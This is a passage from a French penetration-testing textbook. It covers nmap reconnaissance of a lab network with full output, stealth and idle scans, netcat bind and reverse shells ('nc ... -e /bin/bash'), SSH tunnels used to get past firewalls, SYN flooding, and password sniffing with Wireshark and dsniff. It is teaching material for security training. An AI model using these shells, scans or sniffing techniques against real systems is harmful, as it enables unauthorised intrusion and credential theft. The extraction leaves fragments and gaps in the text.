2017-04-29 20:36:05 DROP TCP 192.168.0.52 192.168.0.51 51560 139 44 - 0 0 0 - - - RECEIVE
2017-04-29 20:36:05 DROP TCP 192.168.0.52 192.168.0.51 51561 139 44 - 0 0 0 - - - RECEIVE
Restrict
ed
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 255
23/tcp open telnet syn-ack ttl 255
80/tcp open http syn-ack ttl 255
MAC Address: C2:01:15:65:00:00 (Unknown)
Restrict
ed
Nmap done: 5 IP addresses (5 hosts up) scanned in 225.07 seconds
Sur la machine 192.168.0.2, le port 22/TCP (SSH) et le port 23/TCP (Telnet) sont ouverts ainsi que le
port 80 (www) et le port 443 (HTTPS). Il s’agit certainement d’un périphérique réseau doté d’un mini-
serveur web pour permettre la configuration en mode graphique.
La machine dc-01 (192.168.0.11) est une machine Windows (ports NetBIOS ouverts : 135/TCP,
139/TCP, et 445/TCP). Elle est également serveur Active Directory (port LDAP ouvert : 389/TCP et
port Kerberos ouvert 88/TCP) et serveur DNS (port DNS ouvert : 53/TCP).
135/TCP msrpc (Microsoft Remote Procedure Call) : port utilisé pour répartir les connexions
entrantes (service dispatcher). Lorsqu’une machine cherche à atteindre un service sur une
machine distante, elle se connecte d’abord via le port 135 afin de localiser le port réel sur
lequel tourne le service intéressé. Ensuite, elle dialoguera avec le service concerné via le port
qui lui aura été communiqué. Ce mécanisme est en fin de vie et sera probablement remplacé
à terme par WinRM.
139/TCP netbios-ssn (NetBios Session Service) : c’est le port utilisé pour accéder aux
ressources d’une machine pour le partage de fichiers et d’imprimantes dans un groupe de
travail.
445/TCP microsoft-ds (Directory Service) : port qui remplace le port 139 dans un domaine.
Le partage de ressources est effectué par le service Serveur et l’accès aux ressources est effectué par
le service Station de travail.
Comme le port 53 est ouvert en TCP, est-il possible de rapatrier tous les noms DNS de la zone ?
Essayons…
root@kali:~#dig axfr formation.local @192.168.0.11
Le paramètre axfr demande d’envoyer tous les enregistrements si c’est possible… Pas de chance, le
serveur est protégé.
La machine pc-01 (192.168.0.51) est probablement une machine Windows (ports NetBIOS ouverts :
135/TCP). Il peut également s’agir d’une machine Linux avec Samba.
La machine 192.168.0.53 offre actuellement peu d’informations : le fait que tous ses ports ont
répondu avec un reset (les ports ne sont donc pas filtrés mais fermés) en plus de l’adresse MAC. C’est
généralement le comportement d’une machine Linux…
Nous savons que la machine 192.168.0.254 est la passerelle. Le port 53/TCP (DNS) est ouvert ainsi
que le port 80 (www) et le port 443 (HTTPS). Un mini-serveur web est certainement présent pour
permettre la configuration en mode graphique.
Il est possible de demander à nmap d’essayer de détecter les OS (-O), les versions des services et le
traceroute (-A) :
Restrict
ed
root@kali:~#nmap -sS -f -A -O 192.168.0.2 192.168.0.11 192.168.0.51
192.168.0.53 192.168.0.254 --reason
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 08:23 CEST
Nmap scan report for 192.168.0.2
Host is up (0.012s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh Cisco SSH 1.25 (protocol 1.99)
| ssh-hostkey:
| 1024 90:f5:d6:41:11:a1:cd:a7:a1:77:d5:a7:39:32:5f:e1 (RSA1)
|_ 1024 0e:3f:13:d0:3c:5c:18:4b:c6:de:78:bb:7a:2a:de:8b (RSA)
|_sshv1: Server supports SSHv1
23/tcp open telnet Cisco router telnetd
80/tcp open http Cisco IOS http config
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Basic realm=level_15 or view_access
|_http-server-header: cisco-IOS
|_http-title: Site doesn't have a title.
MAC Address: C2:01:15:65:00:00 (Unknown)
Device type: WAP
Running: Cisco IOS 12.X|15.X
OS CPE: cpe:/o:cisco:ios:12.4 cpe:/h:cisco:aironet_1141n
cpe:/h:cisco:aironet_3602i cpe:/o:cisco:ios:15.3
OS details: Cisco Aironet 1141N (IOS 12.4) or 3602I (IOS 15.3) WAP,
Cisco Aironet 2600-series WAP (IOS 15.2(2))
Network Distance: 1 hop
Service Info: OS: IOS; Device: router; CPE: cpe:/o:cisco:ios
TRACEROUTE
HOP RTT ADDRESS
1 12.42 ms 192.168.0.2
Le périphérique dont l’adresse IP est 192.168.0.2 est un appareil Cisco avec SSHv1 activé et qui est
situé à un saut de la machine Kali.
Nmap scan report for dc-01.formation.local (192.168.0.11)
Host is up (0.00027s latency).
Not shown: 983 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
88/tcp open kerberos-sec Windows 2003 Kerberos (server time:
2017-04-30 06:27:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds (primary domain: FORMATION)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
Restrict
ed
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the
service/version,
please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port445-TCP:V=7.01%I=7%D=4/30%Time=590583D9%P=x86_64-pc-linux-gnu%r(SMB
SF:ProgNeg,71,"\0\0\0m\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\
SF:0@\x06\0\0\x01\0\x11\x07\0\x0f2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfc\
SF:xf3\x01\0\x1a\xa5u\xdaz\xc1\xd2\x01\x88\xff\x08\(\x007\xec\x9aa\xbf\xd0
SF:\xe7\xf0F\0O\0R\0M\0A\0T\0I\0O\0N\0\0\0D\0C\0-\x000\x001\0\0\0");
MAC Address: 00:0C:29:7F:2A:2F (VMware)
Warning: OSScan results may be unreliable because we could not find at
least
1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows Server 2012
Network Distance: 1 hop
Service Info: Host: DC-01; OSs: Windows, Windows 98; CPE:
cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003,
cpe:/o:microsoft:windows_98
TRACEROUTE
HOP RTT ADDRESS
1 0.27 ms dc-01.formation.local (192.168.0.11)
La machine dont l’adresse IP est 192.168.0.11 est un serveur Windows Server 2012 virtuel
(VMware) qui est effectivement contrôleur de domaine et serveur DNS. Il est également
serveur de fichiers (avec SMBv2) et est situé à un saut de la machine Kali.
Restrict
ed
Nmap scan report for pc-01.formation.local (192.168.0.51)
Host is up (0.00049s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:B1:A9:59 (VMware)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Aggressive OS guesses: FreeBSD 6.2-RELEASE (94%), Microsoft Windows Phone
7.5
or 8.0 (92%), Microsoft Windows Server 2008 or 2008 Beta 3 (92%), Windows
Server
2008 R2 (92%), Microsoft Windows 7 Professional or Windows 8 (92%),
Microsoft
Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (92%),
Microsoft
Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (92%), Microsoft
Windows
Embedded Standard 7 (92%), Microsoft Windows Server 2008 R2 (89%),
Microsoft
Windows Server 2008 SP1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms pc-01.formation.local (192.168.0.51)
La machine dont l’adresse IP est 192.168.0.51 est effectivement une machine Windows ; la version
n’est pas déterminée actuellement.
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 08:58 CEST
Nmap scan report for 192.168.0.53
Host is up (0.0073s latency).
All 1000 scanned ports on 192.168.0.55 are closed
MAC Address: FA:6A:B4:2D:87:03 (Unknown)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X|2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.4.20, Linux 2.6.14 - 2.6.34, Linux 2.6.17 (Mandriva),
Linux 2.6.23, Linux 2.6.24
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 7.34 ms 192.168.0.55
La machine dont l’adresse IP est 192.168.0.53 est effectivement une machine Linux ; la version n’est
pas déterminée actuellement.
Restrict
ed
Nmap scan report for 192.168.0.254
Host is up (0.00028s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain
80/tcp open http nginx
|_http-server-header: nginx
|_http-title: Did not follow redirect to https://192.168.0.254/
443/tcp open ssl/http nginx
|_http-server-header: nginx
|_http-title: Login
| ssl-cert: Subject: commonName=pfSense-581d52257e743/
organizationName=pfSense webConfigurator Self-Signed
Certificate/stateOrProvinceName=State/countryName=US
| Not valid before: 2016-11-05T03:29:41
|_Not valid after: 2022-04-28T03:29:41
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
MAC Address: 00:0C:29:D4:3D:A4 (VMware)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): Comau embedded (92%), OpenBSD 4.X (91%)
OS CPE: cpe:/o:openbsd:openbsd:4.0
Aggressive OS guesses: Comau C4G robot control unit (92%), OpenBSD 4.0
(91%), OpenBSD 4.3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.28 ms 192.168.0.254
Le périphérique dont l’adresse IP est 192.168.0.254 est un routeur pfsense sous OpenBSD. Le
certificat utilisé n’est pas signé.
Ces deux options sont très bavardes et les informations sont bien reprises dans les logs des firewalls
et de l’IDS. Voici un exemple sous Windows :
2017-04-30 08:28:31 DROP UDP 192.168.0.52 192.168.0.51 56168 137 78 - - - - - - -
RECEIVE
2017-04-30 08:28:32 DROP UDP 192.168.0.52 192.168.0.51 59765 137 78 - - - - - - -
RECEIVE
2017-04-30 08:28:33 DROP UDP 192.168.0.52 192.168.0.51 45079 137 78 - - - - - - -
RECEIVE
2017-04-30 08:28:34 DROP UDP 192.168.0.52 192.168.0.51 41765 137 78 - - - - - - -
RECEIVE
2017-04-30 08:31:15 DROP TCP 192.168.0.52 192.168.0.51 64015 445 44 S 783483905 0
1024
- - - RECEIVE
Restrict
ed
2017-04-30 08:31:15 DROP TCP 192.168.0.52 192.168.0.51 64016 445 44 S 783418368 0
1024
- - - RECEIVE
2017-04-30 08:31:15 DROP TCP 192.168.0.52 192.168.0.51 64015 139 44 S 783483905 0
1024
- - - RECEIVE
2017-04-30 08:31:15 DROP TCP 192.168.0.52 192.168.0.51 64016 139 44 S 783418368 0
1024
- - - RECEIVE
2017-04-30 08:31:16 DROP TCP 192.168.0.52 192.168.0.51 64017 139 44 S 783352835 0
1024
- - - RECEIVE
2017-04-30 08:31:17 DROP TCP 192.168.0.52 192.168.0.51 64017 445 44 S 783352835 0
1024
- - - RECEIVE
2017-04-30 08:34:25 DROP UDP 192.168.0.11 192.168.0.255 138 138 229 - - - - - - -
RECEIVE
2017-04-30 08:35:40 DROP ICMP 192.168.0.52 192.168.0.51 - - 148 - - - - 8 9 –
RECEIVE
Le type d’attaque détecté n’est pas correct mais l’attaque n’est pas passée inaperçue !
Pour détecter plus précisément la version de Windows, il existe un script très utile qui exploite le
SMB et plus précisément le port 445 en TCP :
root@kali:~# nmap -p 445 --script smb-os-discovery 192.168.0.11
Restrict
ed
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 09:17 CEST
Nmap scan report for dc-01.formation.local (192.168.0.11)
Host is up (0.00020s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:7F:2A:2F (VMware)
La machine dont l’adresse IP est 192.168.0.11 est un serveur Windows Server 2012 R2. Comme cette
recherche ne concerne qu’un service, elle sera beaucoup plus furtive.
Voici un autre exemple : comme le périphérique ayant l’adresse IP 192.168.0.2 a son port HTTP
ouvert (80), il est possible d’utiliser le script suivant qui recherche les titres :
root@kali:~#nmap --script http-title -sV -p 80 192.168.0.2
Comme la méthode "SYN scan" est maintenant détectée par la majorité des pare-feu modernes, de
nouvelles techniques ont été implémentées.
Le scan XMAS (Xmas car tous les flags sont allumés comme un sapin de Noël) est considéré comme
furtif car il utilise les flags FIN, URG et PUSH et ne simule donc pas un comportement normal !
Cette attaque :
Restrict
ed
ne fonctionne pas avec les OS Windows (qui ne respectent pas la RFC 763) ;
nécessite d’être "root" sur la machine source pour envoyer des données brutes (raw) sur le
réseau.
Cette technique est particulièrement utile pour différencier les machines Windows des machines
Linux, puisque sur les machines Windows tous les ports semblent ouverts ! Les machines Windows
ne respectent pas la RFC 763.
Il est également possible de tirer des renseignements des réponses fournies par les systèmes :
root@kali:~# nmap -sX -f 192.168.0.2
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-30 09:56 CEST
Nmap scan report for 192.168.0.2
Host is up (0.012s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp filtered http
MAC Address: C2:01:15:65:00:00 (Unknown)
Restrict
ed
Dans l’exemple ci-dessus, le port 80 est filtré. Mais la trace Wireshark réalisée en même temps que le
scan montre que le périphérique 192.168.0.2 a répondu à la machine Kali :
Il est possible de configurer le routeur pour ne pas envoyer des messages d’erreurs ICMP (code 13).
Cette attaque :
ne fonctionne pas avec les OS Windows (qui ne respectent pas la RFC 763) ;
nécessite d’être "root" sur la machine source pour envoyer des données brutes (raw) sur le
réseau.
nmap -sF -f <cible>
Cette attaque :
ne fonctionne pas avec les OS Windows (qui ne respectent pas la RFC 763) ;
Restrict
ed
nécessite d’être "root" sur la machine source pour envoyer des données brutes (raw) sur le
réseau.
nmap -sN -f <cible>
C’est un scan furtif qui utilise une machine passive zombie distante (IDLE) afin de ne pas présenter
son adresse IP réelle à la machine cible en exploitant la prédictibilité des numéros d’identification IP
(IPID). Les machines zombies sont d’anciennes machines Linux (IPID = 0 lorsque le bit DF=1) ou
Windows (incrémente de 256 l’IPID pour chaque paquet) ou encore des périphériques réseau dont le
microcode n’a pas été mis à jour comme des imprimantes, des commutateurs, des décodeurs...
L’exemple ci-dessus montre une incrémentation "little-endian" où le pas est 0x100 (256 en décimal).
Le PID est prédictible et donc la machine peut servir de zombie pour ce type de scan.
Restrict
ed
IDLE scan partie 02
Après avoir lancé un scan en usurpant l’adresse du zombie, le scan effectue un SYN-ACK du zombie et
regarde le PID. Si l’identifiant est incrémenté de deux pas, alors la machine zombie a reçu un reset de
la cible, ce qui indique que le port est fermé.
root@kali:~# nmap -sI 10.1.0.58 -Pn -p- -r -v 10.1.0.53
Initiating ARP Ping Scan at 18:59
Scanning 10.1.0.53 [1 port]
Completed ARP Ping Scan at 18:59, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:59
Completed Parallel DNS resolution of 1 host. at 18:59, 0.03s elapsed
Initiating idle scan against 10.1.0.53 at 18:59
Idle scan using zombie 10.1.0.58 (10.1.0.58:80); Class: Broken
little-endian incremental
Discovered open port 21/tcp on 10.1.0.53
Discovered open port 22/tcp on 10.1.0.53
Discovered open port 23/tcp on 10.1.0.53
Discovered open port 25/tcp on 10.1.0.53
Discovered open port 53/tcp on 10.1.0.53
Discovered open port 80/tcp on 10.1.0.53
Discovered open port 111/tcp on 10.1.0.53
Discovered open port 139/tcp on 10.1.0.53
Discovered open port 445/tcp on 10.1.0.53
Discovered open port 512/tcp on 10.1.0.53
Discovered open port 513/tcp on 10.1.0.53
Discovered open port 514/tcp on 10.1.0.53
Discovered open port 1099/tcp on 10.1.0.53
Restrict
ed
Dans l’exemple ci-dessus :
-v : mode verbeux.
Pour fonctionner correctement, le zombie ne doit rien faire, il doit être "idle". Si ce n’est pas le cas,
un message similaire au suivant apparaîtra :
WARNING: idle scan has erroneously detected phantom ports --
is the proxy 10.1.0.58 (10.1.0.58) really idle?
C’est un scan furtif qui utilise le protocole UDP afin d’exploiter les services UDP (SNMP, DNS,
DHCP…).
Cette attaque :
risque des faux positifs avec les paquets perdus (Nmap envoie deux paquets (UDP est non
fiable) ;
nécessite d’être "root" sur la machine source pour envoyer des données brutes (raw) sur le
réseau.
Restrict
ed
Scan UDP
Les ports NTP (123/UDP) et NetBIOS (137/UDP) ont été découverts. Mais le port 67 utilisé par les
serveurs DHCP semble fermé et nous savons que DC-01 est serveur DHCP. Essayons avec un script :
root@kali:~#nmap -sU -p 67 --script=dhcp-discover 192.168.0.11
Restrict
ed
67/udp open dhcps
| dhcp-discover:
| DHCP Message Type: DHCPACK
| Server Identifier: 192.168.0.11
| Subnet Mask: 255.255.255.0
| Vendor Specific Information: \xDC\x03NAP
| Router: 192.168.0.254
| Domain Name Server: 192.168.0.11
|_ Domain Name: formation.local\x00
MAC Address: 00:0C:29:7F:2A:2F (VMware)
Il faut être "root" sur la machine source pour envoyer des données brutes (raw) sur le réseau.
Restrict
ed
Scan TCP ACK
root@kali:~# nmap -sA 192.168.0.254
Les ports sont bien filtrés. Il s’agit bien d’un mécanisme de pare-feu !
Netcat permet de gérer les sockets et donc de créer soit un client, soit un serveur. Ce programme
permet de faire rapidement de l’envoi de fichiers, de créer une porte dérobée, des ordinateurs
zombies et bien plus, et ce, sans avoir besoin de recourir à un langage. Il faut bien sûr avoir un accès
sur la machine et également la possibilité d’exécuter la commande nc (netcat).
nc -l -p 5600 -e /bin/bash
Cette commande ouvre le port 5600 en écoute (-l : listening) en TCP (par défaut) et exécutera bash
comme programme d’entrée (-e : inbound program).
Restrict
ed
Utilisation de netcat comme serveur sous Linux
Cette commande établit une connexion sur le port 5600 avec l’hôte 192.168.200.51. La
commande ls nous permet de visualiser le contenu du home directory d’utilisateur sous Linux
(attention au problème de jeux de caractères).
Pour exécuter la même opération depuis une machine Windows, il suffit, depuis le serveur Windows,
de changer le programme d’entrée :
nc -L -d -p 5600 -e cmd.exe
Restrict
ed
Visualisation du répertoire personnel d’un utilisateur Windows depuis un client Linux
Par exemple, transférer le fichier readme.txt depuis la machine Windows vers la machine Linux.
nc -v -w 30 -p 5600 -l > readme.txt
Cette commande ouvre le port 5600 en écoute et redirige le contenu dans readme.txt. L’option -
w demande à netcat d’attendre x secondes (dans notre exemple : 30 s).
Cette commande redirige le contenu de readme.txt vers le port 5600 de l’hôte ayant l’adresse IP
192.168.200.51.
Restrict
ed
Transfert de fichier avec netcat (côté serveur)
Supposons que nous voulions joindre un serveur A située derrière un pare-feu qui n’autorise que les
connexions sortantes sur le port 80 depuis une machine B située dans la zone publique. Pour
atteindre notre objectif, nous allons devoir initier la connexion depuis le serveur (Reverse Telnet).
Machine B :
nc -l -p 80
Serveur A :
nc <IP_Machine_B> 80 -e /bin/bash
Pour un hackeur, deux contraintes doivent être solutionnées afin d’exploiter ce mécanisme :
Passer par une machine tierce afin de ne pas divulguer sa propre adresse IP (ici IP de la
machine B). En pratique, l’attaquant utilisera des serveurs déjà piratés afin de ne pas
divulguer son IP réel.
Cryptcat est un clone de netcat avec des fonctionnalités de cryptage. L’option-k permet de changer la
passphrase intégrée : « metallica ».
5. SSH
SSH (Secure Shell) établit une connexion sécurisée entre deux hôtes en cryptant les
informations avant de les transmettre, contrairement à Telnet qui, lui, ne crypte rien, et est de ce fait
considéré comme le successeur de ce dernier. SSH inclut un ensemble de protocoles permettant la
mise en place d’un shell, l’échange de fichiers, et même de lancer les programmes sur le serveur
distant en faisant suivre l’affichage sur un serveur X local indépendant du démon ssh.
Le protocole SSL, qui est utilisé par SSH et par les navigateurs web, utilise la cryptographie
asymétrique pour échanger une clé secrète de manière sécurisée, et ensuite la cryptographie
symétrique pour le restant de la communication sécurisée.
Une clé publique utilisée pour crypter l’information et pouvant être publiée librement.
Une clé privée, seule habilitée à décrypter l’information et devant rester privée et protégée.
Dans la cryptographie symétrique, chaque partie dispose d’une même clé de chiffrement. Elle est
utilisée pour crypter et décrypter l’information. Cette clé ne peut évidemment pas circuler librement.
Cette méthode de chiffrement est nettement moins gourmande (± 1000 fois) en ressources
processeur.
Restrict
ed
Une utilisation basique de SSH se résume à se connecter à distance sur une machine de la façon
suivante :
ssh <utilisateur>@<machine> -p [numéro du port]
Sans l'option -p, le port 22 est utilisé par défaut.
Si vous avez un serveur SSH ouvert sur l’extérieur et que vous ne pouvez limiter l’accès via des ACL
(listes de contrôle d’accès contenant des adresses et ports autorisés ou interdits par un pare-feu)
parce que vous devez pouvoir joindre cette machine depuis n’importe quelle adresse, il peut être
intéressant de mettre en place un mécanisme comme "denyhosts" ou "fail2ban" pour aider à
contrecarrer les attaques de serveur SSH en recherchant les adresses IP sources des machines ayant
des erreurs d’authentification dans les logs et en ajoutant des règles dans iptables (fail2ban) ou TCP
Wrappers (denyhosts) afin de bannir ces adresses.
Concernant les équipements réseau comme les routeurs ou les switches, il est conseillé d’activer SSH
uniquement, de limiter l’accès via ACL et idéalement de dédier un VLAN (réseau logique indépendant
permettant entre autres une isolation des flux et une augmentation de la sécurité).
6. Tunnel SSH
Le tunnel SSH, également appelé port forwarding (ne pas confondre avec NAT), permet, entre autres,
d’atteindre des machines auxquelles vous n’avez normalement pas accès. Le principe est
d’encapsuler les données d’un protocole réseau au sein d’un autre (ici SSH) et de les transférer vers
une machine intermédiaire (proxy). Cette dernière, qui, elle, n’a pas de restrictions, redirige les
informations vers la cible voulue.
Restrict
ed
a. Contournement d’un pare-feu afin de joindre un hôte distant
Qui ne s’est pas retrouvé derrière un hotspot ou autre réseau public ou privé qui ne permet pas
d’accéder à certaines pages web, de récupérer notre courrier, d’aller sur IRC ?
Supposons que nous soyons en vacances dans un hôtel et que nous devions joindre le
site www.editions-eni.fr qui est bloqué par le pare-feu de l’établissement.
Comme le montre la figure ci-dessus, depuis l’hôtel, il est impossible de joindre directement le site
des Éditions ENI. La première étape consiste à trouver un port ouvert sur le pare-feu. En plus des
ports standards, nmap et netcat peuvent vous aider à trouver votre bonheur. Supposons que le port
8080 soit disponible sur le client SSH.
La deuxième étape consiste à préparer notre "proxy" (ici, une machine distante "Maison") :
Ensuite, il faut installer un service Rinetd qui écoutera sur le port 33333 et renverra les
informations au serveur www.editions-eni.fr sur le port 80.
La troisième étape consiste à créer notre tunnel en liant le port local 8080 sur le port d’écoute du
serveur SSH.
Il reste enfin à paramétrer notre navigateur pour qu’il utilise le tunnel pour sortir.
Restrict
ed
L’utilisation de ssh -D permet de se passer de Rinetd. L’option -D <n° de port> crée un proxy SOCKS
local écoutant sur un port. Cette technique ne fonctionne que pour les tunnels (voir documentation
SSH).
Deux outils peuvent vous aider à diagnostiquer les problèmes (netstat et telnet).
Comme le montre la figure ci-dessus, ssd écoute bien sur le port 2222 et Rinetd sur 33333 pour deb-
pc-01.
La figure précédente montre que la connexion de bout en bout est fonctionnelle sans tunnel SSH.
Les communications sur le port 8080 en local ne sont pas cryptées (sauf si SOCKS le fait), la
communication entre la machine client et le serveur SSH est cryptée par ssh, et les données en sortie
du tunnel/proxy ne le sont que si le protocole encapsulé l’est.
Supposons que vous ayez besoin de l’avis d’une personne externe concernant une ressource interne
(ex. un serveur intranet).
Le pare-feu bloquera toutes les connexions initiées depuis l’extérieur. Il faudra donc le faire depuis
l’intérieur.
Restrict
ed
Principe d’ouverture temporaire de port pour un accès externe
Il est difficile d’empêcher le trafic illicite lorsque celui-ci est encapsulé dans un tunnel, a fortiori SSH
où les données sont cryptées. Mais un pare-feu faisant du filtrage de contenu (correspondance entre
le contenu d’un paquet et son en-tête) et une analyse des flux (ouverture de tunnel SSH vers des
destinations non approuvées, volume de données anormalement élevé…) avec limitation (par
exemple, un débit faible) afin de décourager les contres venants offrent une solution partielle.
Restrict
ed
DoS et DDoS
Un DoS (Denial of Service) est une attaque de déni de service. Le but d’un déni de service est de
rendre ledit service inopérant ou de faire tomber un serveur qui l’héberge.
TCP est un protocole orienté connexion. L’établissement d’une session permet de s’assurer que les
applications sont prêtes à recevoir les données et que toutes les données sont bien reçues par le
destinataire.
Il est dès lors possible que des données soient transmises plusieurs fois parce qu’elles n’ont pas été
reçues dans les temps. Après la fermeture d’une connexion TCP, l’arrivée de doublons retardataires
pourrait provoquer une réouverture du port inutile. Afin d’éviter cela, un timer quiet (égal à deux
fois le TTL IP) est activé et bloque le port.
Le TTL (Time To Live) d’un paquet IP transitant sur un réseau est décrémenté de 1 lors de chaque
passage dans un routeur afin d’éviter que le paquet ne boucle indéfiniment. En effet, lorsque le TTL
est à zéro, le paquet est purement et simplement abandonné par le routeur.
L’attaque par SYN flood est l’une des attaques les plus répandues, elle consiste à demander des
connexions et ne pas y répondre. Lors d’une demande de connexion, le serveur est en attente et
bloque pendant un certain temps une partie de ses ressources pour cette nouvelle connexion.
Le but est d’envoyer plus de demandes de connexion qu’il ne peut en traiter dans un temps donné.
Le serveur ne pourra plus subvenir au besoin des vrais clients. Voici un exemple simple de ce genre
d’attaque.
-l : interface de sortie.
Restrict
ed
-i u1 : attente de 1 µs entre chaque paquet.
-S : SYN activé.
-p 80 : port 80.
Le DDoS (Distributed Denial of Service) est similaire au DoS, mais l’attaque se fait à partir de plusieurs
machines simultanément.
Une attaque DoS est simple à contrer, il suffit d’établir une règle dans le pare-feu afin de bloquer
l’adresse IP attaquante. Dans le cas d’un DDoS, cela se complique énormément puisque les adresses
IP sources sont nombreuses et variées.
Restrict
ed
Sniffing
Les sniffers, ou renifleurs de paquets, sont des outils qui servent à récupérer l’ensemble des données
transmises par le biais d’un réseau de la couche 2 à la couche 7 du modèle OSI.
Afin d’écouter le trafic, il faudra configurer la carte réseau en mode "promiscuous". Ce mode permet
d’intercepter tout le trafic réseau, même les paquets qui ne lui sont pas destinés.
De nombreux protocoles réseau ne chiffrent pas les données, il est donc possible de voir en clair les
mots de passe Telnet, POP, FTP...
Mais il est tout aussi possible de voir les sites visités sur votre réseau ou même les conversations
MSN, de lire les données non cryptées (utilisateur et mot de passe compris).
Une fois installé, exécutez Wireshark avec l’utilisateur root ou exécutez les opérations suivantes :
# dpkg-reconfigure wireshark-common
La capture commence. En quelques instants, de nombreuses lignes s’affichent, nous capturons des
paquets !
Sélectionnez une ligne, les différentes couches s’affichent, en général la couche la plus haute (7,
couche Application) nous intéresse le plus.
Restrict
ed
Capture de trafic avec Wireshark
2. Les filtres
Même avec de très petits réseaux, nous recevons de très nombreux paquets et cela devient vite
illisible. Afin de réduire la quantité de paquets, nous allons n’afficher que ceux qui nous intéressent.
HTTP || FTP || Telnet : affiche les paquets dont le service est de type HTTP, FTP, Telnet.
Restrict
ed
tcp.port == 3306 : affiche les paquets dont le port source ou destination est 3306.
tcp.srcport == 3306 : affiche les paquets dont le port source est 3306 (port TCP de MySQL).
tcp.dstport == 3306 : affiche les paquets dont le port destination est 3306.
ip.addr == 192.168.0.1 : affiche les paquets dont l’adresse IP source ou destination est
192.168.0.1.
Les filtres peuvent être combinés par le biais d’opérateurs de comparaison et d’opérateurs logiques.
Opérateurs de comparaison :
== Est égal à
Opérateurs logiques :
|| Ou
&& Et
^^ Ou exclusif
! Négation
Recherche les paquets à destination de 192.168.0.1 sur les ports TCP 3306 ou 22.
Nous pouvons maintenant tester sur le réseau. Lançons Wireshark sur une machine et exécutons un
logiciel de messagerie, par exemple.
Recherchons les paquets, ils contiennent les mots de passe lorsque les protocoles ne sont pas
chiffrés.
Voici une capture d’écran qui montre comment récupérer un mot de passe POP.
Restrict
ed
POP sous Wireshark
l’identifiant : john.doe@eni-edition.fr
Il existe d’autres outils d’analyse du trafic réseau comme dSniff qui permettent d’écouter et de créer
du trafic réseau. La suite dSniff comprend les éléments suivants :
msgsnarf : renifle les messages de discussion (AOL Instant Messenger, ICQ, IRC, MSN
Messenger, Yahoo Messenger).
dsniff : renifle les mots de passe pour les protocoles (AIM, Citrix ICA, CVS, FTP, HTTP, ICQ,
IMAP, IRC, LDAP, Meeting Maker, Microsoft SMB, Microsoft SQL, Napster, NAI Sniffer,NFS,
NNTP, OSPF, Oracle SQLNet, PostgreSQL, POP, poppass, PPTP MS-CHAP, RIP, Rlogin, SMTP,
SNMP, SOCKS, Sybase, Symantec pcAnywhere, Telnet, X11,YP/NIS).
webspy : affiche en direct les pages visitées par la cible dans son propre navigateur.
arpspoof : forger des paquets ARP dans le but de faire du ARP poisoning.
dnsspoof : forger des paquets DNS dans le but de faire du DNS poisoning.
Restrict
ed
macof : sature le réseau en envoyant des paquets contenant des adresses MAC aléatoires.
Utilisation :
msgsnarf -i wlan0
Remplacez wlan0 par votre interface réseau ; tapez ifconfig en console afin de la connaître.
Restrict
ed
Man In The Middle dans un réseau local
L’attaque de l’homme du milieu ou Man In The Middle (MITM), est une attaque nécessitant au moins
trois ordinateurs, l’ordinateur du milieu se faisant passer pour le deuxième aux yeux du premier et
pour le premier aux yeux du second. L’ordinateur du milieu intercepte et renvoie les communications
et peut le cas échéant les modifier.
Dans un réseau local de type Ethernet, les machines d’un même réseau ne communiquent pas en
utilisant leur adresse IP, mais plutôt en utilisant leur adresse MAC. L’adresse MAC identifie de
manière unique une machine dans un réseau Ethernet. Cette adresse est définie sur 6 octets (48
bits).
Dans un réseau IPv4, le protocole ARP (Address Resolution Protocol) joue un rôle majeur dans le
fonctionnement des communications réseau, car c’est lui qui permet à une machine de connaître
l’adresse MAC d’une machine distante.
